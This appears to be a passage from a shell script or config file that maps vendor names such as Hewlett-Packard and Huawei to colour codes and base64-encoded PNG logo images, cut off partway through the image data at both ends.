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' ["Hewlett-Packard"]='#B2B2B2 #0096D5 #E5E5E5 data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAPAAAADwCAMAAAAJixmgAAAABGdBTUEAALGPC/xhBQAAACBjSFJNAAB6JgAAgIQAAPoAAACA6AAAdTAAAOpgAAA6mAAAF3CculE8AAADAFBMVEUAAAAAl9cAltcAltYAltYAltUAltYAltYAltUAl9UAl9UAldUAldQAktEAgP8AldYAltYAltYAltYAltUAl9UAldMAgL8AltYAltYAl9UAltcAltcAmcwAltUAltYAltYAltUAldYAlNYAn98AmdMAltYAltYAltUAmNYAktsAldUAldYAltYAltYAl9cAltYAl9YAl9EAltYAltYAltYAltYAi9EAldYAltYAltYAltUAktsAltcAltUAltYAjuMAltYAldYAlNUAltYAltYAlNUAl9YAltYAlNYAltcAltYAltYAldcAltYAltYAl9YAltYAltYAk9gAlNcAltcAltYAk9cAldYAltgAltUAltYAltYAl9cAltYAl9YAmdYAktsAl9YAltYAltYAltcAldcAltYAltcAldgA//8AldUAltYAltUAl9YAltYAldUAltUAltYAltUAltYAmd0AltYAl9UAltYAltYAldUAltYAmcwAmNYAltYAltoAltYAldYAqv8Al9YAltcAltYAlNcAltgAltUAldUAl9cAldUAltYAl9UAldcAldcAldYAm9MAltYAndgAldYAl9YAltcAnNUAltIAmNUAltYAltYAltcAltYAl9UAltYAltUAl9UAl9YAmdkAl9YAl9YAltcAk9gAltcAldcAltYAltYAldUAltYAltYAmdUAltYAmdkAldYAl9cAltYAmNYAlNUAldUAltYAl9YAltYAltUAldYAl9cAltYAltYAl9kAltcAldMAldYAltYAldcAmNcAmNQAldcAltYAl9YAltcAltUAltUAl9YAltUAldUAltcAldUAltYAl9cAltYAl9YAltcAltcAldYAldUAl9cAl9cAldcAltYAltYAldYAl9YAltYAltcAl9UAl9YAl9cAltYAldcAltYAj88Al9YAldUAltYAmNgAltYAqtUAldcAltYAldYAltYAlNUAl9gAl9UAltUAldYAlNYAltYAltUAltYAldYAltb///+68Ap2AAAA/nRSTlMAU6q0u7KclIFuW0g1HALL+dub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' ["Huawei"]='#B2B2B2 #980101 #222222 data:image/png;base64,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